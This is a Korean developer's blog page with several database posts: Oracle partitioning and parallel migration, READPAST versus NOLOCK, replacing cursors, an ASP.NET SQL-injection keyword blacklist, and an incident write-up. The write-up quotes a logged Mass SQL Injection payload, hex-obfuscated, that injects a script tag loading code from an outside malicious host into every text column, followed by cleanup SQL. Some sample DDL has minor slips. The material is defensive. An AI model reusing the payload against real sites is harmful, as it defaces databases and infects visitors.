<그림 5>는 이 과정을 도식화한 것이다. 먼저 생성할 TB_PART_1 테이블의 빈껍데기를 만든다. 대용량의 파티션된 테이블의 파티션 각각을 create table ~ as select 구문의 parallel 옵션을 이용해 각 테이블로 생성한다. 이후 미리 생성해 놓은 TB_PART_1 테이블의 파티션과 만들어 놓은 테이블들을 exchange하는 것이다. 이때 파티션별로 200105.sql, 200106.sql, 200107.sql…… 형식으로 만들어 놓고 이 프로그램들을 동시에 실행하면(program parallel) 극적인 효과를 볼 수 있다.

이번엔 데이터 마이그레이션에 대해 살펴 보자. 원격으로 데이터를 옮겨야 할 때 보통 database link를 이용한다. 네트워크를 통해 데이터를 옮기면 직렬(serial)로 데이터가 이동되므로 속도가 현저하게 떨어지기 때문이다. 따라서 소스 테이블을 파티셔닝하고 해당 파티션을 액세스하는 프로그램을 각각 띄워 병렬 프로세싱을 하게 되면 매우 빠른 속도로 데이터를 옮길 수 있다.

소스 테이블을 파티셔닝할 수 있는 상황이라면 테이블의 분포를 보고 레인지나 리스트 방식으로 파티셔닝할 수 있고, 일정한 분포가 존재하지 않는 테이블이라면 해시 파티셔닝으로 분포도를 고르게 나눈 다음 해당 파티션을 읽는 뷰를 액세스해 데이터를 옮기는 것이 좋다.

예를 들어 다음은 중대형 정도 크기인 약 2700만 건의 회원 테이블을 옮기는 DDL 스크립트다. 앞서 언급한 대로 이를 바로 database link를 이용해 처리하면 네트워크의 속도가 떨어져 엄청난 시간이 소요된다. 그러나 이것을 일반 테이블을 여러 개로 파티션을 나누어서 파티션과 병렬 처리하면 성능이 크게 향상된다. 작업 순서는 다음과 같다.

create table t_cust_hash
storage (initial 5M next 5M pctincrease 0)
partition by hash(mem_no)
(
partition par_hash_1 TABLESPACE TS_DATA,
partition par_hash_2 TABLESPACE TS_DATA,
partition par_hash_3 TABLESPACE TS_DATA,
partition par_hash_4 TABLESPACE TS_DATA,
partition par_hash_6 TABLESPACE TS_DATA,
partition par_hash_7 TABLESPACE TS_DATA,
partition par_hash_8 TABLESPACE TS_DATA,
partition par_hash_9 TABLESPACE TS_DATA,
partition par_hash_10 TABLESPACE TS_DATA,
)
nologging
as
select /*+ parallel(x 10) */ * from t_cust x

이제 다음과 같이 소스 테이블 뷰 생성한 후

create or replace view t_cust_1
as select * from t_cust_hash partition (par_hash_1);

create or replace view t_cust_2
as select * from t_cust_hash partition (par_hash_2);

create or replace view t_cust_3
as select * from t_cust_hash partition (par_hash_3)

……

다음과 같이 프로그램 패러럴(program parallel) 작업을 동시에 실행한다.

T_cust_1.sql
create table t_cust_1
storage (initial 5M next 5M pctincrease 0)
nologging
tablespace njh
as
select /*+ parallel(x 4) */ * from t_cust_1@remote x;

T_cust_2.sql
create table t_cust_2
storage (initial 5M next 5M pctincrease 0)
nologging
tablespace njh
as
select /*+ parallel(x 4) */ * from t_cust_2@remote x

이것은 단적인 예에 지나지 않는다. 활용할 수 있는 사례는 얼마든지 있을 것이다. 한편 인덱스는 전체 데이터에 대해 해당 컬럼의 값으로 정렬하기 때문에 대용량 테이블의 경우 create, rebuild 명령을 실행할 때 많은 시간이 필요하다. 이때 파티션된 인덱스를 만들면 인덱스의 생성과 관리를 더 활용적으로 할 수 있다. 다음은 파티션된 인덱스를 Unusable로 생성한 사례다(로컬/글로벌 파티션된 인덱스).

먼저 파티션 인덱스를 ‘unusable’ 옵션을 이용해 생성한다. 실제 데이터를 정렬해 만드는 것이 아니라 일종의 껍데기를 만드는 과정이다. 이제 앞서 살펴본 병렬 처리를 이용해 여러 파티션을 동시에 rebuild를 하면 대용량 데이터라도 빠른 시간에 인덱스를 생성할 수 있다.

CREATE INDEX EMP_IDX1 ON EMP (DEPTNO)
GLOBAL
PARTITION BY RANGE (DEPTNO)
  (PARTITION PAR_10 VALUES LESS THAN (‘20’) TABLESPACE TBS1,
  PARTITION PAR_20 VALUES LESS THAN (‘30’) TABLESPACE TBS2,
  PARTITION PAR_30 VALUES LESS THAN (‘40’) TABLESPACE TBS3,
  PARTITION PAR_40 VALUES LESS THAN (‘50’) TABLESPACE TBS4,
  PARTITION PAR_MAX VALUES LESS THAN (MAXVALUE) TABLESPACE TBS5)
UNUSABLE;

이제 파티션별로 index1.sql, index2.sql 등을 독립적으로 병렬 실행한다.

ALTER INDEX EMP_IDX1 REBUILD PARTITION PAR_10 PARALLEL 4; ---‘ index1.sql
ALTER INDEX EMP_IDX1 REBUILD PARTITION PAR_20 PARALLEL 4; ---‘ index2.sql
ALTER INDEX EMP_IDX1 REBUILD PARTITION PAR_30 PARALLEL 4; ---‘ index3.sql
ALTER INDEX EMP_IDX1 REBUILD PARTITION PAR_40 PARALLEL 4; ---‘ index4.sql
ALTER INDEX EMP_IDX1 REBUILD PARTITION PAR_MAX PARALLEL 4; ---‘ index5.sql

지금까지 테이블 파티셔닝에 대해 다뤄봤다. 자동화된 성능관리 툴로 커버할 수 없는 영역을 살펴보고 있으나 가장 중요한 것은 데이터베이스 액세스 개념에 대해 정확하게 이해하는 것이다. 많은 사람들이 파티셔닝을 알고 있지만 정확하게 사용하고 있지 못하는 현실이 아타까울 때가 많다. 그러나 이 점은 역설적으로 파티셔닝의 매력이기도 하다. 노력하는 데이터베이스 관리자 만이 도전해 볼 수 있는 영역이 바로 ‘파티셔닝’ 분야이기 때문이다.@

* 이 기사는 ZDNet Korea의 제휴매체인 마이크로소프트웨어에 게재된 내용입니다.
신고

'rdb' 카테고리의 다른 글

Oracle FlashBack  (0) 2011.04.05
DB 파티셔닝  (0) 2011.03.07
READPAST 그리고 WITH(NOLOCK)  (0) 2009.12.19
SQL Injection Blocking  (0) 2009.05.27

WRITTEN BY
빵군
Web Programmer HOONS닷넷(http://www.hoons.kr) 2011 ASP.NET 시삽 http://about.me/y2kpooh

받은 트랙백이 없고 , 댓글이 없습니다.
secret


READPAST와 WITH(NOLOCK)의 차이를 확인 해보자.

테이블 : Table1
컬럼명 : C1, C2
데이터는 아래와 같다.
------------------------------------------
 ROW   |     C1        |     C2
------------------------------------------
   1      |      0         |       1
------------------------------------------
   2      |      0         |       2

Table1의 컬럼명 C2에서 데이터값이 ROW 1 대하여 C1컬럼의 데이터 "0"을 주기적(1초) 20초 동안 업데이트 하는 쿼리를 만들어보면 아래와 같다.

DECLARE @I INT, @MAXNO INT
SET 
@I=1
SET @MAXNO=20

BEGIN TRANSACTION

WHILE @I<=@MAXNO
BEGIN
    UPDATE Table1 SET C1 = STR(@I) WHERE C2 = 1
    SET @I=@I+1
    WAITFOR DELAY '00:00:01' 
END
COMMIT


위 쿼리가 실행되는 동안 아래 세가지 쿼리를 실행해보자.

SELECT * FROM Table1 
20초동안 실행결과는 아무것도 나오지 않고 대기상태에 있다.

SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED(WITH(NOLOCK)과 같다.)
SELECT * FROM
Table1 
ROW1은 20초 동안 LOCK인 상태이나 LOCK을 무시하고 가져옵니다. ROW1값의 C1컬럼 값이 20초 동안 주기적으로 변화하는 것을 확인 하실 수 있다.

SET TRANSACTION ISOLATION LEVEL READ COMMITTED
SELECT * FROM
Table1 WITH(READPAST)
ROW1은 20초 동안 LOCK인 상태로 ROW2만 가져온다. LOCK이 걸린 ROW는 무시하고 LOCK걸리지 않는 ROW만 가져오라는 것 이다.

READPAST를 이용하는게 WITH(NOLOCK)을 이용하는 것보다 성능상 유리하다는 지금은 찾지 못하고 있는... 해외 사이트를 본적이 있다.

결론은... 주기적으로 INSERT UPDATE가 이루어지는 최신 데이터를 가져오는 곳이 아닌.. 과거 매출이나 과거 주문정보와 같은 곳에 READPAST를 사용하면... 더 좋지 않을까...@.@;
 

※ DB Lock확인 쿼리
  select * from master.dbo.sysprocesses
  where blocked != 0 and spid != blocked
신고

'rdb' 카테고리의 다른 글

DB 파티셔닝  (0) 2011.03.07
READPAST 그리고 WITH(NOLOCK)  (0) 2009.12.19
SQL Injection Blocking  (0) 2009.05.27
커서(CURSOR)를 TABLE변수로 변경  (1) 2008.12.29

WRITTEN BY
빵군
Web Programmer HOONS닷넷(http://www.hoons.kr) 2011 ASP.NET 시삽 http://about.me/y2kpooh

받은 트랙백이 없고 , 댓글이 없습니다.
secret

SQL Injection Blocking

rdb 2009.05.27 19:53

참고사이트 : http://forums.asp.net/t/1254125.aspx


Global.asax의 Application_BeginRequest 메서드를 이용하여 모든 요청에 대하여 필터링 하는 예제 코드입니다.

//연장준비 네임스페이스 추가
using System.Globalization;

//Get, Post, Cookie까지 모두 필터링
protected void Application_BeginRequest(Object sender, EventArgs e)
{
    foreach (string key in Request.QueryString)
       CheckInput(Request.QueryString[key], key);
    foreach (string key in Request.Form)
       CheckInput(Request.Form[key], key);
    foreach (string key in Request.Cookies)
       CheckInput(Request.Cookies[key].Value, key);  
}

//필터링 할 문자열
public static string[] blackList = {"--",";--",";","/*","*/","@@",
              "declare","delete","update","insert", "select",
              "exec", "execute",
              "drop","kill","sysobjects","syscolumns"};

//필터링 제외할 페이지
public static string[] nochkPageList = {"nochk1.aspx", "nochk2.aspx","nochk3.aspx"};

//필터링 제외할 파라메터 KEY값
public static string[] nochkParamList = {"userid","useremail"};

private void CheckInput(string parameterValue, string parameterName)
{
      CompareInfo comparer = CultureInfo.InvariantCulture.CompareInfo;

      bool chk = true;
      for (int j = 0; j < nochkParamList.Length; j++)
      {
           if (parameterName.ToLower() == nochkParamList[j].ToLower())
           {
              chk = false;
           }
      }

      for (int k = 0; k < nochkPageList.Length; k++)
      {
           if (comparer.IndexOf(Request.RawUrl.ToString(),nochkPageList[k],CompareOptions.IgnoreCase) >= 0)
           {
               chk = false;
           }
       }
   
       for (int i = 0; i < blackList.Length; i++)
       {
           if (comparer.IndexOf(parameterValue,blackList[i],CompareOptions.IgnoreCase) >= 0 && chk == true)
           {
                try
                {
                      //Log남기기
                }
                catch{}
                finally
                {
                      Response.Redirect("/Exception.aspx");
                }
           }
      }
}

위 소스에 문제점은 blackList에 정의된 단어가 입력되면 무조건 Exception페이지로 보내버리게 된다.
가령 아이디가 declare라는 고객이있다면 혹은 게시판 제목을 update post라고 작성한다면...
그런 문제점으로 인하여 추가한게 nochkPageList와 nochkParamList이다.
정의된 페이지와 파라메터key값일때는 필터링 하지 않겠다는거다.

여기서 또 문제점은... 기껏 Sql Injection공격을 막는다고 해놓고 필터링 예외페이지와 예외 파라메터라고 정의해놓으면 예외로 지정된 페이지와 파라메터를 타고 공격이 들어온다면 속수무책으로 당할 수 밖에 없다.

그럼 어떻게 하면 보다 완벽한 소스로 구현할 수 있을까?

내일로 미루고... =_=;


신고

'rdb' 카테고리의 다른 글

READPAST 그리고 WITH(NOLOCK)  (0) 2009.12.19
SQL Injection Blocking  (0) 2009.05.27
커서(CURSOR)를 TABLE변수로 변경  (1) 2008.12.29
Mass SQL Injection 공격  (0) 2008.11.04

WRITTEN BY
빵군
Web Programmer HOONS닷넷(http://www.hoons.kr) 2011 ASP.NET 시삽 http://about.me/y2kpooh

받은 트랙백이 없고 , 댓글이 없습니다.
secret


가끔 작업을 하다보면 커서를 사용해야 할 경우가 있다.
대표적인 경우가... 루프문을 사용해서 데이터를 추출하고 싶을 경우겠지요... 아닌가?? =_=;
나는 종종 커서를 사용해왔었다...

허나.. 커서 및 임시 테이블의 경우 최대한 자제를 해야 된다고... 어디선가 많이 본 기억이...
커서의 경우 서버 자원을 많이 낭비하게 되며 커서로 할 수 있는 건 임시 테이블이나
테이블 변수로도 모두 처리가 가능하단다...

그리하여 현재 회사프로젝트 커서사용부분을 모두 바꾸기로 결심...

사용데이터베이스 : PUBS
사용테이블 : TITLES

원하는 결과값은

(18 row(s) affected)
But Is It User Friendly? | Computer Phobic AND Non-Phobic Individuals: Behavior Variations | Cooking with Computers: Surreptitious Balance Sheets | Emotional Security: A New Algorithm | Fifty Years in Buckingham Palace Kitchens | Is Anger the Enemy? | Life Without Fear | Net Etiquette | Onions, Leeks, and Garlic: Cooking Secrets of the Mediterranean | Prolonged Data Deprivation: Four Case Studies | Secrets of Silicon Valley | Silicon Valley Gastronomic Treats | Straight Talk About Computers | Sushi, Anyone? | The Busy Executive's Database Guide | The Gourmet Microwave | The Psychology of Computer Cooking | You Can Combat Computer Stress!

한 필드에 TITLES테이블의 TITLE을 구분자 | 로 묶어 가져오는 것이다.
(참고자료 : SQL Server 성능 향상을 위한 튜닝 가이드)

#테이블 변수사용의 예

use pubs
go

declare @tmptable table
(
    nid int identity(1,1) not null,
    title varchar(80) not null
) -- 테이블 변수 선언

insert @tmptable(title)
select title from titles -- titles테이블의 title을 테이블변수에 삽입(루프생성을 위해)

declare @print varchar(5000) -- print변수 선언

declare @i int, @maxno int, @title varchar(80)     -- 루프변수 선언
select @i=1, @maxno=max(nid) from @tmptable   -- 루프변수 초기화
while @i<=@maxno -- 루프문
begin
    select @title=title from @tmptable where nid=@i -- 커서의 fetch into해당
    if(@i = 1)
    begin
        set @print = @title
    end
    else
    begin
        set @print = @print + ' | ' + @title
    end
    set @i=@i+1
end 
print @print

#커서사용의 예

declare @title varchar(100)
declare @print varchar(5000)
set @print = ''
declare c_cursor CURSOR FOR
   select title from titles
for read only

open c_cursor
fetch next from c_cursor
into @title
while(@@fetch_status <> -1)
   begin
       if(@@fetch_status <> -2)
       begin
           if(@print = '')
           begin
              set @print = @title
           end
           else
           begin
              set @print = @print + ' | ' + @title
           end
       end
  fetch next from c_cursor
  into @title
end
close c_cursor
deallocate c_cursor
print @print

성능비교는??.... =_=;;

신고

'rdb' 카테고리의 다른 글

READPAST 그리고 WITH(NOLOCK)  (0) 2009.12.19
SQL Injection Blocking  (0) 2009.05.27
커서(CURSOR)를 TABLE변수로 변경  (1) 2008.12.29
Mass SQL Injection 공격  (0) 2008.11.04

WRITTEN BY
빵군
Web Programmer HOONS닷넷(http://www.hoons.kr) 2011 ASP.NET 시삽 http://about.me/y2kpooh

받은 트랙백이 없고 , 댓글 하나 달렸습니다.
  1. 단순 문자열 붙이는 거라면
    declare @print varchar(5000)
    SET @print = ''
    SELECT @print = @print + '|' + title
    select title from titles 이렇게 하는게 효율 적일 것 같습니다.. 글올라온지 2년만에 지나가다 적습니다.

    -- print
secret

Mass SQL Injection 공격

rdb 2008.11.04 22:37

이번 주말 내내 SQL Injection공격으로 인하여 주말내내 시달렸다.. ㅡ,.ㅡ;
처음으로 당해보는지라.. 보안에 지극히.. 문외한이였던 나는.. 또 하나를 배웠다.

#스크립트 삽입 필드


#공격 로그 -GET(참고 : http://hacked.tistory.com/209)

/server/oops.asp seq=26&page=1&searchkey=&search_text=&category=005001;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20wHiLe(@@fEtCh_status=0)%20bEgIn%20eXeC('uPdAtE%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rTrIm(cOnVeRt(vArChAr(4000),['%2b@c%2b']))%2bcAsT(0x3C736372697074207372633D687474703A2F2F732E6172646F7368616E676861692E636F6D2F732E6A733E3C2F7363726970743E%20aS%20vArChAr(53))')%20fEtCh%20next%20FrOm%20tAbLe_CuRsoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;--

아래쿼리는 SQL sysobject type U(User) 모든 row를 가져와 해당 스크립트가 있는 row를 업데이트하는 쿼리다.
일단 요거가지고 해결은 할수 있으나... 공격을 더 받기 전에 ... 아래글에 대한 대응방안 처리가 시급한 지경이다.
요 몇일 데브피아도 DDOS공격으로 시달리고... 휴... 이제 서버관리 보안에 까지 신경을 써야.. 밥벌어먹고 살수 있는것인가... ㅡ,.ㅡ;

DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE (@@FETCH_STATUS = 0) BEGIN
  EXEC(
    'update ['+@T+'] set ['+@C+'] = replace(convert(varchar(8000),['+@C+']),''<script
src=http://s.ardoshanghai.com/s.js></script>'','''')
      where ['+@C+'] like ''%<script%'''
      )
  FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

참고자료 : NSHC Mass SQL Injection 공격기법과 대응방안

Mass SQL-Injection란 SQL Injection기법보다  확장된 개념이다.

Mass라는 단어는 사전적인 의미는 대량의, 집단이라는 뜻을 가지고 있으며 즉 한번의 공격으로 대량의 DB값이 변조되어 홈페이지에 치명적인 악영향을 미친다.

일부분을 HEX인코딩 하거나 전체 HEX인코딩 하는 크게 2가지 방식이 있다.

DB값 변조시 악성 스크립트를 삽입하여 사용자들이 변조된 사이트를 방문시 감염되거나 BOT이 설치되어 사용자들의 온라인 게임 계정 해킹 및 DDOS공격에 이용이 가능하다.

공격대상은 MS-SQL을 사용하며, 공격자들은 ASP가 가동중인 IIS웹서버를 주요 공격 대상으로 한다.

피해를 당한 IIS로그를 보면 아래와 같은 로그가 기록되어있다.

공격코드를 디코딩 하면


위와 같은 쿼리가 나온다.
이 구문은 테이블에서 테이블의 SQL sysobject type U(User) 모든 row를 가져오는 것이다. 모든 컬럼을 varcher(8000)으로 형식을 바꾸고 커서를 활용하여 각 오브젝트에 http://bannerupd.com/b.js 사이트 주소 코드를 추가하도록 업데이트 명령을 실행 시키는 일반적인 구문이다. 일반적인 구문에서 현재는 약간 변형된 형태의 공격쿼리 삽입시도도 이루어지고 있다.

대응방안
1. 디클리어 구문을 이용한 공격을 차단하기 위해서는 웹 소스상에서 쿼리스트링에 대한 길이제한 적용을 해야 한다. 대부분 소스 작성시 쿼리스트링 값의 제한을 적용하지 않는 경우가 많다. 따라서 웹 개발자와 상의하여 쿼리스트링 길이 값에 대한 제한을 적용 권고
2. SQL-Injection 취약점이 있으면 중 장기 대책으로 이에 대한 소스코드에 수정 권고
3. 입력되는 부분의 문자를 모두 제한하여 예상되는 문자 이외의 문자가 들어오면 필터링하는 방법으로 수정 필요
4. 정기적인 DB 및 시스템 백업 필요
신고

'rdb' 카테고리의 다른 글

READPAST 그리고 WITH(NOLOCK)  (0) 2009.12.19
SQL Injection Blocking  (0) 2009.05.27
커서(CURSOR)를 TABLE변수로 변경  (1) 2008.12.29
Mass SQL Injection 공격  (0) 2008.11.04

WRITTEN BY
빵군
Web Programmer HOONS닷넷(http://www.hoons.kr) 2011 ASP.NET 시삽 http://about.me/y2kpooh

받은 트랙백이 없고 , 댓글이 없습니다.
secret